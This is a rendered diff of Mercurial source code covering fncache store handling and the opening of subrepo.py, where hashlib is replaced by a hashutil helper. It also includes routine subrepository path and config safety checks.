548 raise error.Abort(
549 msg,
549 msg,
550 hint=_(
550 hint=_(
551 b"use 'hg debugrebuildfncache' to "
551 b"use 'hg debugrebuildfncache' to "
552 b"rebuild the fncache"
552 b"rebuild the fncache"
553 ),
553 ),
554 )
554 )
555 self._checkentries(fp, warn)
555 self._checkentries(fp, warn)
556 fp.close()
556 fp.close()
557
557
558 def _checkentries(self, fp, warn):
558 def _checkentries(self, fp, warn):
559 """ make sure there is no empty string in entries """
559 """ make sure there is no empty string in entries """
560 if b'' in self.entries:
560 if b'' in self.entries:
561 fp.seek(0)
561 fp.seek(0)
562 for n, line in enumerate(util.iterfile(fp)):
562 for n, line in enumerate(util.iterfile(fp)):
563 if not line.rstrip(b'\n'):
563 if not line.rstrip(b'\n'):
564 t = _(b'invalid entry in fncache, line %d') % (n + 1)
564 t = _(b'invalid entry in fncache, line %d') % (n + 1)
565 if warn:
565 if warn:
566 warn(t + b'\n')
566 warn(t + b'\n')
567 else:
567 else:
568 raise error.Abort(t)
568 raise error.Abort(t)
569
569
570 def write(self, tr):
570 def write(self, tr):
571 if self._dirty:
571 if self._dirty:
572 assert self.entries is not None
572 assert self.entries is not None
573 self.entries = self.entries | self.addls
573 self.entries = self.entries | self.addls
574 self.addls = set()
574 self.addls = set()
575 tr.addbackup(b'fncache')
575 tr.addbackup(b'fncache')
576 fp = self.vfs(b'fncache', mode=b'wb', atomictemp=True)
576 fp = self.vfs(b'fncache', mode=b'wb', atomictemp=True)
577 if self.entries:
577 if self.entries:
578 fp.write(encodedir(b'\n'.join(self.entries) + b'\n'))
578 fp.write(encodedir(b'\n'.join(self.entries) + b'\n'))
579 fp.close()
579 fp.close()
580 self._dirty = False
580 self._dirty = False
581 if self.addls:
581 if self.addls:
582 # if we have just new entries, let's append them to the fncache
582 # if we have just new entries, let's append them to the fncache
583 tr.addbackup(b'fncache')
583 tr.addbackup(b'fncache')
584 fp = self.vfs(b'fncache', mode=b'ab', atomictemp=True)
584 fp = self.vfs(b'fncache', mode=b'ab', atomictemp=True)
585 if self.addls:
585 if self.addls:
586 fp.write(encodedir(b'\n'.join(self.addls) + b'\n'))
586 fp.write(encodedir(b'\n'.join(self.addls) + b'\n'))
587 fp.close()
587 fp.close()
588 self.entries = None
588 self.entries = None
589 self.addls = set()
589 self.addls = set()
590
590
591 def add(self, fn):
591 def add(self, fn):
592 if self.entries is None:
592 if self.entries is None:
593 self._load()
593 self._load()
594 if fn not in self.entries:
594 if fn not in self.entries:
595 self.addls.add(fn)
595 self.addls.add(fn)
596
596
597 def remove(self, fn):
597 def remove(self, fn):
598 if self.entries is None:
598 if self.entries is None:
599 self._load()
599 self._load()
600 if fn in self.addls:
600 if fn in self.addls:
601 self.addls.remove(fn)
601 self.addls.remove(fn)
602 return
602 return
603 try:
603 try:
604 self.entries.remove(fn)
604 self.entries.remove(fn)
605 self._dirty = True
605 self._dirty = True
606 except KeyError:
606 except KeyError:
607 pass
607 pass
608
608
609 def __contains__(self, fn):
609 def __contains__(self, fn):
610 if fn in self.addls:
610 if fn in self.addls:
611 return True
611 return True
612 if self.entries is None:
612 if self.entries is None:
613 self._load()
613 self._load()
614 return fn in self.entries
614 return fn in self.entries
615
615
616 def __iter__(self):
616 def __iter__(self):
617 if self.entries is None:
617 if self.entries is None:
618 self._load()
618 self._load()
619 return iter(self.entries | self.addls)
619 return iter(self.entries | self.addls)
620
620
621
621
622 class _fncachevfs(vfsmod.proxyvfs):
622 class _fncachevfs(vfsmod.proxyvfs):
623 def __init__(self, vfs, fnc, encode):
623 def __init__(self, vfs, fnc, encode):
624 vfsmod.proxyvfs.__init__(self, vfs)
624 vfsmod.proxyvfs.__init__(self, vfs)
625 self.fncache = fnc
625 self.fncache = fnc
626 self.encode = encode
626 self.encode = encode
627
627
628 def __call__(self, path, mode=b'r', *args, **kw):
628 def __call__(self, path, mode=b'r', *args, **kw):
629 encoded = self.encode(path)
629 encoded = self.encode(path)
630 if mode not in (b'r', b'rb') and (
630 if mode not in (b'r', b'rb') and (
631 path.startswith(b'data/') or path.startswith(b'meta/')
631 path.startswith(b'data/') or path.startswith(b'meta/')
632 ):
632 ):
633 # do not trigger a fncache load when adding a file that already is
633 # do not trigger a fncache load when adding a file that already is
634 # known to exist.
634 # known to exist.
635 notload = self.fncache.entries is None and self.vfs.exists(encoded)
635 notload = self.fncache.entries is None and self.vfs.exists(encoded)
636 if notload and b'a' in mode and not self.vfs.stat(encoded).st_size:
636 if notload and b'a' in mode and not self.vfs.stat(encoded).st_size:
637 # when appending to an existing file, if the file has size zero,
637 # when appending to an existing file, if the file has size zero,
638 # it should be considered as missing. Such zero-size files are
638 # it should be considered as missing. Such zero-size files are
639 # the result of truncation when a transaction is aborted.
639 # the result of truncation when a transaction is aborted.
640 notload = False
640 notload = False
641 if not notload:
641 if not notload:
642 self.fncache.add(path)
642 self.fncache.add(path)
643 return self.vfs(encoded, mode, *args, **kw)
643 return self.vfs(encoded, mode, *args, **kw)
644
644
645 def join(self, path):
645 def join(self, path):
646 if path:
646 if path:
647 return self.vfs.join(self.encode(path))
647 return self.vfs.join(self.encode(path))
648 else:
648 else:
649 return self.vfs.join(path)
649 return self.vfs.join(path)
650
650
651
651
652 class fncachestore(basicstore):
652 class fncachestore(basicstore):
653 def __init__(self, path, vfstype, dotencode):
653 def __init__(self, path, vfstype, dotencode):
654 if dotencode:
654 if dotencode:
655 encode = _pathencode
655 encode = _pathencode
656 else:
656 else:
657 encode = _plainhybridencode
657 encode = _plainhybridencode
658 self.encode = encode
658 self.encode = encode
659 vfs = vfstype(path + b'/store')
659 vfs = vfstype(path + b'/store')
660 self.path = vfs.base
660 self.path = vfs.base
661 self.pathsep = self.path + b'/'
661 self.pathsep = self.path + b'/'
662 self.createmode = _calcmode(vfs)
662 self.createmode = _calcmode(vfs)
663 vfs.createmode = self.createmode
663 vfs.createmode = self.createmode
664 self.rawvfs = vfs
664 self.rawvfs = vfs
665 fnc = fncache(vfs)
665 fnc = fncache(vfs)
666 self.fncache = fnc
666 self.fncache = fnc
667 self.vfs = _fncachevfs(vfs, fnc, encode)
667 self.vfs = _fncachevfs(vfs, fnc, encode)
668 self.opener = self.vfs
668 self.opener = self.vfs
669
669
670 def join(self, f):
670 def join(self, f):
671 return self.pathsep + self.encode(f)
671 return self.pathsep + self.encode(f)
672
672
673 def getsize(self, path):
673 def getsize(self, path):
674 return self.rawvfs.stat(path).st_size
674 return self.rawvfs.stat(path).st_size
675
675
676 def datafiles(self, matcher=None):
676 def datafiles(self, matcher=None):
677 for f in sorted(self.fncache):
677 for f in sorted(self.fncache):
678 if not _matchtrackedpath(f, matcher):
678 if not _matchtrackedpath(f, matcher):
679 continue
679 continue
680 ef = self.encode(f)
680 ef = self.encode(f)
681 try:
681 try:
682 yield f, ef, self.getsize(ef)
682 yield f, ef, self.getsize(ef)
683 except OSError as err:
683 except OSError as err:
684 if err.errno != errno.ENOENT:
684 if err.errno != errno.ENOENT:
685 raise
685 raise
686
686
687 def copylist(self):
687 def copylist(self):
688 d = (
688 d = (
689 b'bookmarks narrowspec data meta dh fncache phaseroots obsstore'
689 b'bookmarks narrowspec data meta dh fncache phaseroots obsstore'
690 b' 00manifest.d 00manifest.i 00changelog.d 00changelog.i'
690 b' 00manifest.d 00manifest.i 00changelog.d 00changelog.i'
691 )
691 )
692 return [b'requires', b'00changelog.i'] + [
692 return [b'requires', b'00changelog.i'] + [
693 b'store/' + f for f in d.split()
693 b'store/' + f for f in d.split()
694 ]
694 ]
695
695
696 def write(self, tr):
696 def write(self, tr):
697 self.fncache.write(tr)
697 self.fncache.write(tr)
698
698
699 def invalidatecaches(self):
699 def invalidatecaches(self):
700 self.fncache.entries = None
700 self.fncache.entries = None
701 self.fncache.addls = set()
701 self.fncache.addls = set()
702
702
703 def markremoved(self, fn):
703 def markremoved(self, fn):
704 self.fncache.remove(fn)
704 self.fncache.remove(fn)
705
705
706 def _exists(self, f):
706 def _exists(self, f):
707 ef = self.encode(f)
707 ef = self.encode(f)
708 try:
708 try:
709 self.getsize(ef)
709 self.getsize(ef)
710 return True
710 return True
711 except OSError as err:
711 except OSError as err:
712 if err.errno != errno.ENOENT:
712 if err.errno != errno.ENOENT:
713 raise
713 raise
714 # nonexistent entry
714 # nonexistent entry
715 return False
715 return False
716
716
717 def __contains__(self, path):
717 def __contains__(self, path):
718 '''Checks if the store contains path'''
718 '''Checks if the store contains path'''
719 path = b"/".join((b"data", path))
719 path = b"/".join((b"data", path))
720 # check for files (exact match)
720 # check for files (exact match)
721 e = path + b'.i'
721 e = path + b'.i'
722 if e in self.fncache and self._exists(e):
722 if e in self.fncache and self._exists(e):
723 return True
723 return True
724 # now check for directories (prefix match)
724 # now check for directories (prefix match)
725 if not path.endswith(b'/'):
725 if not path.endswith(b'/'):
726 path += b'/'
726 path += b'/'
727 for e in self.fncache:
727 for e in self.fncache:
728 if e.startswith(path) and self._exists(e):
728 if e.startswith(path) and self._exists(e):
729 return True
729 return True
730 return False
730 return False
@@ -1,2052 +1,2052
1 # subrepo.py - sub-repository classes and factory
1 # subrepo.py - sub-repository classes and factory
2 #
2 #
3 # Copyright 2009-2010 Matt Mackall <mpm@selenic.com>
3 # Copyright 2009-2010 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import copy
10 import copy
11 import errno
11 import errno
12 import hashlib
13 import os
12 import os
14 import re
13 import re
15 import stat
14 import stat
16 import subprocess
15 import subprocess
17 import sys
16 import sys
18 import tarfile
17 import tarfile
19 import xml.dom.minidom
18 import xml.dom.minidom
20
19
21 from .i18n import _
20 from .i18n import _
22 from . import (
21 from . import (
23 cmdutil,
22 cmdutil,
24 encoding,
23 encoding,
25 error,
24 error,
26 exchange,
25 exchange,
27 logcmdutil,
26 logcmdutil,
28 match as matchmod,
27 match as matchmod,
29 node,
28 node,
30 pathutil,
29 pathutil,
31 phases,
30 phases,
32 pycompat,
31 pycompat,
33 scmutil,
32 scmutil,
34 subrepoutil,
33 subrepoutil,
35 util,
34 util,
36 vfs as vfsmod,
35 vfs as vfsmod,
37 )
36 )
38 from .utils import (
37 from .utils import (
39 dateutil,
38 dateutil,
39 hashutil,
40 procutil,
40 procutil,
41 stringutil,
41 stringutil,
42 )
42 )
43
43
44 hg = None
44 hg = None
45 reporelpath = subrepoutil.reporelpath
45 reporelpath = subrepoutil.reporelpath
46 subrelpath = subrepoutil.subrelpath
46 subrelpath = subrepoutil.subrelpath
47 _abssource = subrepoutil._abssource
47 _abssource = subrepoutil._abssource
48 propertycache = util.propertycache
48 propertycache = util.propertycache
49
49
50
50
51 def _expandedabspath(path):
51 def _expandedabspath(path):
52 '''
52 '''
53 get a path or url and if it is a path expand it and return an absolute path
53 get a path or url and if it is a path expand it and return an absolute path
54 '''
54 '''
55 expandedpath = util.urllocalpath(util.expandpath(path))
55 expandedpath = util.urllocalpath(util.expandpath(path))
56 u = util.url(expandedpath)
56 u = util.url(expandedpath)
57 if not u.scheme:
57 if not u.scheme:
58 path = util.normpath(os.path.abspath(u.path))
58 path = util.normpath(os.path.abspath(u.path))
59 return path
59 return path
60
60
61
61
62 def _getstorehashcachename(remotepath):
62 def _getstorehashcachename(remotepath):
63 '''get a unique filename for the store hash cache of a remote repository'''
63 '''get a unique filename for the store hash cache of a remote repository'''
64 return node.hex(hashlib.sha1(_expandedabspath(remotepath)).digest())[0:12]
64 return node.hex(hashutil.sha1(_expandedabspath(remotepath)).digest())[0:12]
65
65
66
66
67 class SubrepoAbort(error.Abort):
67 class SubrepoAbort(error.Abort):
68 """Exception class used to avoid handling a subrepo error more than once"""
68 """Exception class used to avoid handling a subrepo error more than once"""
69
69
70 def __init__(self, *args, **kw):
70 def __init__(self, *args, **kw):
71 self.subrepo = kw.pop('subrepo', None)
71 self.subrepo = kw.pop('subrepo', None)
72 self.cause = kw.pop('cause', None)
72 self.cause = kw.pop('cause', None)
73 error.Abort.__init__(self, *args, **kw)
73 error.Abort.__init__(self, *args, **kw)
74
74
75
75
76 def annotatesubrepoerror(func):
76 def annotatesubrepoerror(func):
77 def decoratedmethod(self, *args, **kargs):
77 def decoratedmethod(self, *args, **kargs):
78 try:
78 try:
79 res = func(self, *args, **kargs)
79 res = func(self, *args, **kargs)
80 except SubrepoAbort as ex:
80 except SubrepoAbort as ex:
81 # This exception has already been handled
81 # This exception has already been handled
82 raise ex
82 raise ex
83 except error.Abort as ex:
83 except error.Abort as ex:
84 subrepo = subrelpath(self)
84 subrepo = subrelpath(self)
85 errormsg = (
85 errormsg = (
86 stringutil.forcebytestr(ex)
86 stringutil.forcebytestr(ex)
87 + b' '
87 + b' '
88 + _(b'(in subrepository "%s")') % subrepo
88 + _(b'(in subrepository "%s")') % subrepo
89 )
89 )
90 # avoid handling this exception by raising a SubrepoAbort exception
90 # avoid handling this exception by raising a SubrepoAbort exception
91 raise SubrepoAbort(
91 raise SubrepoAbort(
92 errormsg, hint=ex.hint, subrepo=subrepo, cause=sys.exc_info()
92 errormsg, hint=ex.hint, subrepo=subrepo, cause=sys.exc_info()
93 )
93 )
94 return res
94 return res
95
95
96 return decoratedmethod
96 return decoratedmethod
97
97
98
98
99 def _updateprompt(ui, sub, dirty, local, remote):
99 def _updateprompt(ui, sub, dirty, local, remote):
100 if dirty:
100 if dirty:
101 msg = _(
101 msg = _(
102 b' subrepository sources for %s differ\n'
102 b' subrepository sources for %s differ\n'
103 b'you can use (l)ocal source (%s) or (r)emote source (%s).\n'
103 b'you can use (l)ocal source (%s) or (r)emote source (%s).\n'
104 b'what do you want to do?'
104 b'what do you want to do?'
105 b'$$ &Local $$ &Remote'
105 b'$$ &Local $$ &Remote'
106 ) % (subrelpath(sub), local, remote)
106 ) % (subrelpath(sub), local, remote)
107 else:
107 else:
108 msg = _(
108 msg = _(
109 b' subrepository sources for %s differ (in checked out '
109 b' subrepository sources for %s differ (in checked out '
110 b'version)\n'
110 b'version)\n'
111 b'you can use (l)ocal source (%s) or (r)emote source (%s).\n'
111 b'you can use (l)ocal source (%s) or (r)emote source (%s).\n'
112 b'what do you want to do?'
112 b'what do you want to do?'
113 b'$$ &Local $$ &Remote'
113 b'$$ &Local $$ &Remote'
114 ) % (subrelpath(sub), local, remote)
114 ) % (subrelpath(sub), local, remote)
115 return ui.promptchoice(msg, 0)
115 return ui.promptchoice(msg, 0)
116
116
117
117
118 def _sanitize(ui, vfs, ignore):
118 def _sanitize(ui, vfs, ignore):
119 for dirname, dirs, names in vfs.walk():
119 for dirname, dirs, names in vfs.walk():
120 for i, d in enumerate(dirs):
120 for i, d in enumerate(dirs):
121 if d.lower() == ignore:
121 if d.lower() == ignore:
122 del dirs[i]
122 del dirs[i]
123 break
123 break
124 if vfs.basename(dirname).lower() != b'.hg':
124 if vfs.basename(dirname).lower() != b'.hg':
125 continue
125 continue
126 for f in names:
126 for f in names:
127 if f.lower() == b'hgrc':
127 if f.lower() == b'hgrc':
128 ui.warn(
128 ui.warn(
129 _(
129 _(
130 b"warning: removing potentially hostile 'hgrc' "
130 b"warning: removing potentially hostile 'hgrc' "
131 b"in '%s'\n"
131 b"in '%s'\n"
132 )
132 )
133 % vfs.join(dirname)
133 % vfs.join(dirname)
134 )
134 )
135 vfs.unlink(vfs.reljoin(dirname, f))
135 vfs.unlink(vfs.reljoin(dirname, f))
136
136
137
137
138 def _auditsubrepopath(repo, path):
138 def _auditsubrepopath(repo, path):
139 # sanity check for potentially unsafe paths such as '~' and '$FOO'
139 # sanity check for potentially unsafe paths such as '~' and '$FOO'
140 if path.startswith(b'~') or b'$' in path or util.expandpath(path) != path:
140 if path.startswith(b'~') or b'$' in path or util.expandpath(path) != path:
141 raise error.Abort(
141 raise error.Abort(
142 _(b'subrepo path contains illegal component: %s') % path
142 _(b'subrepo path contains illegal component: %s') % path
143 )
143 )
144 # auditor doesn't check if the path itself is a symlink
144 # auditor doesn't check if the path itself is a symlink
145 pathutil.pathauditor(repo.root)(path)
145 pathutil.pathauditor(repo.root)(path)
146 if repo.wvfs.islink(path):
146 if repo.wvfs.islink(path):
147 raise error.Abort(_(b"subrepo '%s' traverses symbolic link") % path)
147 raise error.Abort(_(b"subrepo '%s' traverses symbolic link") % path)
148
148
149
149
150 SUBREPO_ALLOWED_DEFAULTS = {
150 SUBREPO_ALLOWED_DEFAULTS = {
151 b'hg': True,
151 b'hg': True,
152 b'git': False,
152 b'git': False,
153 b'svn': False,
153 b'svn': False,
154 }
154 }
155
155
156
156
157 def _checktype(ui, kind):
157 def _checktype(ui, kind):
158 # subrepos.allowed is a master kill switch. If disabled, subrepos are
158 # subrepos.allowed is a master kill switch. If disabled, subrepos are
159 # disabled period.
159 # disabled period.
160 if not ui.configbool(b'subrepos', b'allowed', True):
160 if not ui.configbool(b'subrepos', b'allowed', True):
161 raise error.Abort(
161 raise error.Abort(
162 _(b'subrepos not enabled'),
162 _(b'subrepos not enabled'),
163 hint=_(b"see 'hg help config.subrepos' for details"),
163 hint=_(b"see 'hg help config.subrepos' for details"),
164 )
164 )
165
165
166 default = SUBREPO_ALLOWED_DEFAULTS.get(kind, False)
166 default = SUBREPO_ALLOWED_DEFAULTS.get(kind, False)
167 if not ui.configbool(b'subrepos', b'%s:allowed' % kind, default):
167 if not ui.configbool(b'subrepos', b'%s:allowed' % kind, default):
168 raise error.Abort(
168 raise error.Abort(
169 _(b'%s subrepos not allowed') % kind,
169 _(b'%s subrepos not allowed') % kind,
170 hint=_(b"see 'hg help config.subrepos' for details"),
170 hint=_(b"see 'hg help config.subrepos' for details"),
171 )
171 )
172
172
173 if kind not in types:
173 if kind not in types:
174 raise error.Abort(_(b'unknown subrepo type %s') % kind)
174 raise error.Abort(_(b'unknown subrepo type %s') % kind)
175
175
176
176
177 def subrepo(ctx, path, allowwdir=False, allowcreate=True):
177 def subrepo(ctx, path, allowwdir=False, allowcreate=True):
178 """return instance of the right subrepo class for subrepo in path"""
178 """return instance of the right subrepo class for subrepo in path"""
179 # subrepo inherently violates our import layering rules
179 # subrepo inherently violates our import layering rules
180 # because it wants to make repo objects from deep inside the stack
180 # because it wants to make repo objects from deep inside the stack
181 # so we manually delay the circular imports to not break
181 # so we manually delay the circular imports to not break
182 # scripts that don't use our demand-loading
182 # scripts that don't use our demand-loading
183 global hg
183 global hg
184 from . import hg as h
184 from . import hg as h
185
185
186 hg = h
186 hg = h
187
187
188 repo = ctx.repo()
188 repo = ctx.repo()
189 _auditsubrepopath(repo, path)
189 _auditsubrepopath(repo, path)
190 state = ctx.substate[path]
190 state = ctx.substate[path]
191 _checktype(repo.ui, state[2])
191 _checktype(repo.ui, state[2])
192 if allowwdir:
192 if allowwdir:
193 state = (state[0], ctx.subrev(path), state[2])
193 state = (state[0], ctx.subrev(path), state[2])
194 return types[state[2]](ctx, path, state[:2], allowcreate)
194 return types[state[2]](ctx, path, state[:2], allowcreate)
195
195
196
196
197 def nullsubrepo(ctx, path, pctx):
197 def nullsubrepo(ctx, path, pctx):
198 """return an empty subrepo in pctx for the extant subrepo in ctx"""
198 """return an empty subrepo in pctx for the extant subrepo in ctx"""
199 # subrepo inherently violates our import layering rules
199 # subrepo inherently violates our import layering rules
200 # because it wants to make repo objects from deep inside the stack
200 # because it wants to make repo objects from deep inside the stack
201 # so we manually delay the circular imports to not break
201 # so we manually delay the circular imports to not break
202 # scripts that don't use our demand-loading
202 # scripts that don't use our demand-loading
203 global hg
203 global hg
204 from . import hg as h
204 from . import hg as h
205
205
206 hg = h
206 hg = h
207
207
208 repo = ctx.repo()
208 repo = ctx.repo()
209 _auditsubrepopath(repo, path)
209 _auditsubrepopath(repo, path)
210 state = ctx.substate[path]
210 state = ctx.substate[path]
211 _checktype(repo.ui, state[2])
211 _checktype(repo.ui, state[2])
212 subrev = b''
212 subrev = b''
213 if state[2] == b'hg':
213 if state[2] == b'hg':
214 subrev = b"0" * 40
214 subrev = b"0" * 40
215 return types[state[2]](pctx, path, (state[0], subrev), True)
215 return types[state[2]](pctx, path, (state[0], subrev), True)
216
216
217
217
218 # subrepo classes need to implement the following abstract class:
218 # subrepo classes need to implement the following abstract class:
219
219
220
220
221 class abstractsubrepo(object):
221 class abstractsubrepo(object):
222 def __init__(self, ctx, path):
222 def __init__(self, ctx, path):
223 """Initialize abstractsubrepo part
223 """Initialize abstractsubrepo part
224
224
225 ``ctx`` is the context referring this subrepository in the
225 ``ctx`` is the context referring this subrepository in the
226 parent repository.
226 parent repository.
227
227
228 ``path`` is the path to this subrepository as seen from
228 ``path`` is the path to this subrepository as seen from
229 innermost repository.
229 innermost repository.
230 """
230 """
231 self.ui = ctx.repo().ui
231 self.ui = ctx.repo().ui
232 self._ctx = ctx
232 self._ctx = ctx
233 self._path = path
233 self._path = path
234
234
235 def addwebdirpath(self, serverpath, webconf):
235 def addwebdirpath(self, serverpath, webconf):
236 """Add the hgwebdir entries for this subrepo, and any of its subrepos.
236 """Add the hgwebdir entries for this subrepo, and any of its subrepos.
237
237
238 ``serverpath`` is the path component of the URL for this repo.
238 ``serverpath`` is the path component of the URL for this repo.
239
239
240 ``webconf`` is the dictionary of hgwebdir entries.
240 ``webconf`` is the dictionary of hgwebdir entries.
241 """
241 """
242 pass
242 pass
243
243
244 def storeclean(self, path):
244 def storeclean(self, path):
245 """
245 """
246 returns true if the repository has not changed since it was last
246 returns true if the repository has not changed since it was last
247 cloned from or pushed to a given repository.
247 cloned from or pushed to a given repository.
248 """
248 """
249 return False
249 return False
250
250
251 def dirty(self, ignoreupdate=False, missing=False):
251 def dirty(self, ignoreupdate=False, missing=False):
252 """returns true if the dirstate of the subrepo is dirty or does not
252 """returns true if the dirstate of the subrepo is dirty or does not
253 match current stored state. If ignoreupdate is true, only check
253 match current stored state. If ignoreupdate is true, only check
254 whether the subrepo has uncommitted changes in its dirstate. If missing
254 whether the subrepo has uncommitted changes in its dirstate. If missing
255 is true, check for deleted files.
255 is true, check for deleted files.
256 """
256 """
257 raise NotImplementedError
257 raise NotImplementedError
258
258
259 def dirtyreason(self, ignoreupdate=False, missing=False):
259 def dirtyreason(self, ignoreupdate=False, missing=False):
260 """return reason string if it is ``dirty()``
260 """return reason string if it is ``dirty()``
261
261
262 Returned string should have enough information for the message
262 Returned string should have enough information for the message
263 of exception.
263 of exception.
264
264
265 This returns None, otherwise.
265 This returns None, otherwise.
266 """
266 """
267 if self.dirty(ignoreupdate=ignoreupdate, missing=missing):
267 if self.dirty(ignoreupdate=ignoreupdate, missing=missing):
268 return _(b'uncommitted changes in subrepository "%s"') % subrelpath(
268 return _(b'uncommitted changes in subrepository "%s"') % subrelpath(
269 self
269 self
270 )
270 )
271
271
272 def bailifchanged(self, ignoreupdate=False, hint=None):
272 def bailifchanged(self, ignoreupdate=False, hint=None):
273 """raise Abort if subrepository is ``dirty()``
273 """raise Abort if subrepository is ``dirty()``
274 """
274 """
275 dirtyreason = self.dirtyreason(ignoreupdate=ignoreupdate, missing=True)
275 dirtyreason = self.dirtyreason(ignoreupdate=ignoreupdate, missing=True)
276 if dirtyreason:
276 if dirtyreason:
277 raise error.Abort(dirtyreason, hint=hint)
277 raise error.Abort(dirtyreason, hint=hint)
278
278
279 def basestate(self):
279 def basestate(self):
280 """current working directory base state, disregarding .hgsubstate
280 """current working directory base state, disregarding .hgsubstate
281 state and working directory modifications"""
281 state and working directory modifications"""
282 raise NotImplementedError
282 raise NotImplementedError
283
283
284 def checknested(self, path):
284 def checknested(self, path):
285 """check if path is a subrepository within this repository"""
285 """check if path is a subrepository within this repository"""
286 return False
286 return False
287
287
288 def commit(self, text, user, date):
288 def commit(self, text, user, date):
289 """commit the current changes to the subrepo with the given
289 """commit the current changes to the subrepo with the given
290 log message. Use given user and date if possible. Return the
290 log message. Use given user and date if possible. Return the
291 new state of the subrepo.
291 new state of the subrepo.
292 """
292 """
293 raise NotImplementedError
293 raise NotImplementedError
294
294
295 def phase(self, state):
295 def phase(self, state):
296 """returns phase of specified state in the subrepository.
296 """returns phase of specified state in the subrepository.
297 """
297 """
298 return phases.public
298 return phases.public
299
299
300 def remove(self):
300 def remove(self):
301 """remove the subrepo
301 """remove the subrepo
302
302
303 (should verify the dirstate is not dirty first)
303 (should verify the dirstate is not dirty first)
304 """
304 """
305 raise NotImplementedError
305 raise NotImplementedError
306
306
307 def get(self, state, overwrite=False):
307 def get(self, state, overwrite=False):
308 """run whatever commands are needed to put the subrepo into
308 """run whatever commands are needed to put the subrepo into
309 this state
309 this state
310 """
310 """
311 raise NotImplementedError
311 raise NotImplementedError
312
312
313 def merge(self, state):
313 def merge(self, state):
314 """merge currently-saved state with the new state."""
314 """merge currently-saved state with the new state."""
315 raise NotImplementedError
315 raise NotImplementedError
316
316
317 def push(self, opts):
317 def push(self, opts):
318 """perform whatever action is analogous to 'hg push'
318 """perform whatever action is analogous to 'hg push'
319
319
320 This may be a no-op on some systems.
320 This may be a no-op on some systems.
321 """
321 """
322 raise NotImplementedError
322 raise NotImplementedError
323
323
324 def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
324 def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
325 return []
325 return []
326
326
327 def addremove(self, matcher, prefix, uipathfn, opts):
327 def addremove(self, matcher, prefix, uipathfn, opts):
328 self.ui.warn(b"%s: %s" % (prefix, _(b"addremove is not supported")))
328 self.ui.warn(b"%s: %s" % (prefix, _(b"addremove is not supported")))
329 return 1
329 return 1
330
330
331 def cat(self, match, fm, fntemplate, prefix, **opts):
331 def cat(self, match, fm, fntemplate, prefix, **opts):
332 return 1
332 return 1
333
333
334 def status(self, rev2, **opts):
334 def status(self, rev2, **opts):
335 return scmutil.status([], [], [], [], [], [], [])
335 return scmutil.status([], [], [], [], [], [], [])
336
336
337 def diff(self, ui, diffopts, node2, match, prefix, **opts):
337 def diff(self, ui, diffopts, node2, match, prefix, **opts):
338 pass
338 pass
339
339
340 def outgoing(self, ui, dest, opts):
340 def outgoing(self, ui, dest, opts):
341 return 1
341 return 1
342
342
343 def incoming(self, ui, source, opts):
343 def incoming(self, ui, source, opts):
344 return 1
344 return 1
345
345
346 def files(self):
346 def files(self):
347 """return filename iterator"""
347 """return filename iterator"""
348 raise NotImplementedError
348 raise NotImplementedError
349
349
350 def filedata(self, name, decode):
350 def filedata(self, name, decode):
351 """return file data, optionally passed through repo decoders"""
351 """return file data, optionally passed through repo decoders"""
352 raise NotImplementedError
352 raise NotImplementedError
353
353
354 def fileflags(self, name):
354 def fileflags(self, name):
355 """return file flags"""
355 """return file flags"""
356 return b''
356 return b''
357
357
358 def matchfileset(self, cwd, expr, badfn=None):
358 def matchfileset(self, cwd, expr, badfn=None):
359 """Resolve the fileset expression for this repo"""
359 """Resolve the fileset expression for this repo"""
360 return matchmod.never(badfn=badfn)
360 return matchmod.never(badfn=badfn)
361
361
362 def printfiles(self, ui, m, uipathfn, fm, fmt, subrepos):
362 def printfiles(self, ui, m, uipathfn, fm, fmt, subrepos):
363 """handle the files command for this subrepo"""
363 """handle the files command for this subrepo"""
364 return 1
364 return 1
365
365
366 def archive(self, archiver, prefix, match=None, decode=True):
366 def archive(self, archiver, prefix, match=None, decode=True):
367 if match is not None:
367 if match is not None:
368 files = [f for f in self.files() if match(f)]
368 files = [f for f in self.files() if match(f)]
369 else:
369 else:
370 files = self.files()
370 files = self.files()
371 total = len(files)
371 total = len(files)
372 relpath = subrelpath(self)
372 relpath = subrelpath(self)
373 progress = self.ui.makeprogress(
373 progress = self.ui.makeprogress(
374 _(b'archiving (%s)') % relpath, unit=_(b'files'), total=total
374 _(b'archiving (%s)') % relpath, unit=_(b'files'), total=total
375 )
375 )
376 progress.update(0)
376 progress.update(0)
377 for name in files:
377 for name in files:
378 flags = self.fileflags(name)
378 flags = self.fileflags(name)
379 mode = b'x' in flags and 0o755 or 0o644
379 mode = b'x' in flags and 0o755 or 0o644
380 symlink = b'l' in flags
380 symlink = b'l' in flags
381 archiver.addfile(
381 archiver.addfile(
382 prefix + name, mode, symlink, self.filedata(name, decode)
382 prefix + name, mode, symlink, self.filedata(name, decode)
383 )
383 )
384 progress.increment()
384 progress.increment()
385 progress.complete()
385 progress.complete()
386 return total
386 return total
387
387
388 def walk(self, match):
388 def walk(self, match):
389 '''
389 '''
390 walk recursively through the directory tree, finding all files
390 walk recursively through the directory tree, finding all files
391 matched by the match function
391 matched by the match function
392 '''
392 '''
393
393
394 def forget(self, match, prefix, uipathfn, dryrun, interactive):
394 def forget(self, match, prefix, uipathfn, dryrun, interactive):
395 return ([], [])
395 return ([], [])
396
396
397 def removefiles(
397 def removefiles(
398 self,
398 self,
399 matcher,
399 matcher,
400 prefix,
400 prefix,
401 uipathfn,
401 uipathfn,
402 after,
402 after,
403 force,
403 force,
404 subrepos,
404 subrepos,
405 dryrun,
405 dryrun,
406 warnings,
406 warnings,
407 ):
407 ):
408 """remove the matched files from the subrepository and the filesystem,
408 """remove the matched files from the subrepository and the filesystem,
409 possibly by force and/or after the file has been removed from the
409 possibly by force and/or after the file has been removed from the
410 filesystem. Return 0 on success, 1 on any warning.
410 filesystem. Return 0 on success, 1 on any warning.
411 """
411 """
412 warnings.append(
412 warnings.append(
413 _(b"warning: removefiles not implemented (%s)") % self._path
413 _(b"warning: removefiles not implemented (%s)") % self._path
414 )
414 )
415 return 1
415 return 1
416
416
417 def revert(self, substate, *pats, **opts):
417 def revert(self, substate, *pats, **opts):
418 self.ui.warn(
418 self.ui.warn(
419 _(b'%s: reverting %s subrepos is unsupported\n')
419 _(b'%s: reverting %s subrepos is unsupported\n')
420 % (substate[0], substate[2])
